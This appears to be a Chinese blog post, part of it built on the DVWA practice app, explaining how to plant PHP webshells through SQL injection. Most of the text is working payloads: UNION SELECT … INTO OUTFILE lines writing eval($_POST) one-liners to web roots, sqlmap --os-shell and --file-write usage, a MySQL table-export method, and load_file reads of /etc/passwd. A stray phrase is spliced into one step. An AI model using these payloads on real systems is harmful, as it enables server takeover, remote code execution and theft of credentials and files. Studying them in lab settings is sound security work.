利⽤SQL注⼊植⼊webshell
这⾥⼩结⼀下通过SQL注⼊写⼊WebShell的⽅法。
传统的SQL语句写shell
通过SQL注⼊select into outfile实现,如:
1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/tmp/nb.php'#
sqlmap写shell
前提都是需要对⽬标⽬录具有写权限。
--os-cmd="net user"
交互式命令执⾏,注意在使⽤交互式⽅式时需要知道⽹站的绝对路径,执⾏成功之后在绝对路径
下创建⽂件返回结果,然后再⾃动删除。
--os-shell
写webshell,会⽣成两个⽂件,tmpbshrd.php和tmpucnll.php,分别为命令执⾏和⽂件上传webshell。
注意:关闭sqlmap⽂件就会被删除。
本地写⼊webshell
先在sqlmap的⽬录创建mst⽬录,然后在该⽬录中创建,内容为⼀句话⽊马,之后需要两个参数即本地⽂件地址和⽬标⽂件地址,--file-write "./" --file-dest "⽹站的绝对路径/1.php"。
注意需要最⾼权限。
MySQL写⼀句话⽊马
MySQL写⽊马,通常可以通过phpmyadmin来实现。
前提条件:有读写的权限,有CREATE、INSERT、SELECT的权限。
1、创建⼀个表
CREATE TABLE a (cmd text NOT NULL);
2、插⼊数据
INSERT INTO a (cmd) VALUES('<?php eval($_POST['password']);?>');
3、导出⼀句话
SELECT cmd from a into outfile '/var/www/tmp/webshell.php';
4、删除表
Drop TABLE IF EXISTS a;
**嘤嘤嘤哈哈哈** 以上是⼀种写法是从⼀篇⽂章那搞过来的下⾯是另⼀篇⽤dvwa写的
这篇⽂章谈论简单的技术,利⽤sql注⼊(SQLi)漏洞,并获得⼀个webshell,所有的演⽰都是⽤DVWA(渗透测试演练系统).对于SQL注⼊利⽤,有以下⼏个基本步骤:
1,发现SQL注⼊点;
2,通过mysql数据库帮助,进⼀步进⾏注⼊,获取帐号密码等敏感信息;
shell创建文件并写入内容3,上传webshell,获得⼀个反向连接。
本⽂所有的演⽰都是在DVWA(Dam Vulnerable Web Application)环境演⽰,DVWA是⽤PHP+Mysql编写的⼀套⽤于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注⼊、XSS、盲注等常见的⼀些安全漏洞. 安装好之后,我们在本⽂的演⽰中需要设置脚本安全级别为low(低)。
1.发现SQL注⼊点
识别SQL注⼊是关键的⼀步,它需要⼤量的技能和经验来确定注⼊点。通过适当的分析应⽤程序,可以判断什么地⽅存在注⼊点。在下⾯的屏幕截图所⽰,“ID”字段中可能会受到SQL注⼊。程序功能需要⼀个整数做为⽤户输⼊,提交之后会显⽰该ID对应的姓名。
当我们在⽤户ID中加⼀个单引号(‘),会看到产⽣了数据库的报错,本次演⽰使⽤的是mysql数据库。
之所以产⽣错误是因为,输⼊的⽤户ID中,单引号不是⼀个整数类型的,导致后端SQL查询产⽣了错误,可以想象⼀下后端SQL查询语句⼤概是这样:
Mysql>select first_name,last_name from users where user_id=”;
如果输⼊变成了⾮整数类型的单引号,SQL语句就会变成如下:
MySQL> select first_name, last_name from users where user_id=”’ ;
因此,产⽣了⼀个语法错误,所以注⼊点被确定为id字段。前端的该语句是会在后端的sql服务器进⾏执⾏的,这将使sql注⼊变为可能。
2,通过mysql数据库帮助,进⼀步进⾏注⼊,获取帐号密码等敏感信息;
进⼀步尝试猜测后端查询语句,从⽽获取mysql版本、数据库名称、列数等,通过前端的报错等我们猜测后端的查询语句是这样的:
Mysql>select first_name,last_name for user where user_id=1;
以上只是胡乱猜测,我们需要通过mysql语句更进⼀步的进⾏测试,开始使⽤order by 。order by 语句可以对查询结果进⾏排列,上⾯的语句中有两列,使⽤order by 语句可以按照第⼀列first_name或者第⼆列last_name对结果进⾏排列。假如我们想根据第三列对结果进⾏排序,因为查询语句中不存在第三列,就会产⽣报错:
ERROR 1054 (42S22): Unknown column ’3′ in ‘order clause’
当我们使⽤order by 2的时候没有产⽣任何错误,⽽使⽤order by 3的时候产⽣报错,说明数据库中只有两列;通过这种⽅法我们可以使⽤order by语句猜测数据库表中的列数。
user id输⼊’ order by 3+–+的时候,后端SQL查询语句如下:
Mysql>select first_name,last_name from user where user_id=”order by 3+- -+’
可以看到因为不存在第三列会产⽣报错。
user id输⼊’order by 2+–+的时候,后端查询语句如下:
Mysql>select first_name,last_name from user where user_id=”order by 2+- -+’
可以看到没有产⽣任何错误。
接下来进⼀步使⽤union查询语句
为什么要使⽤联合查询?
Union查询结合了两个select查询结果,根据上⽂中的order by语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要⽤union查询了结合我们构造的另外⼀个select.注意在使⽤union查询的时候需要和主查询的列数相同。
MySQL> select first_name, last_name from users where user_id=”union select 1,2 ;
使⽤union select之后可以看到查询结果显⽰在了页⾯上.
继续构造union select语句,来查询正在使⽤中的⽤户和数据库,⽤以下语句
‘union select user(),database()+- -+
‘union select session_user(),current_user()+- -+
‘union select 1,version()+- -+ 查询数据库的版本。
使⽤联合查询语句构造,利⽤注⼊读取/ect/passwd ⽂件(linux系统)
‘UNION SELECT 1, load_file(/etc/passwd) +- -+
使⽤联合查询语句构造,利⽤注⼊读取c:\1.txt (Windows系统)
‘ UNION SELECT 1, load_file(‘c:\\1.txt’) +- -+ 或者
‘ union select 1, load_file(‘c:\/1.txt’) +- -+
3.利⽤sql注⼊写⼊webshell
假设我们通过phpinfo⽂件知道了⽹站的物理路径,接下来我们通过使⽤union select语句来写⼊websh
ell.写⼊需要你有写⼊权限等。‘ union select 1,’<?php eval($_POST[cmd]);?>‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +- -+
‘ union select 1,’<?php eval($_POST[cmd]);?>’ into outfile ‘c:\\2.php’+- -+
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论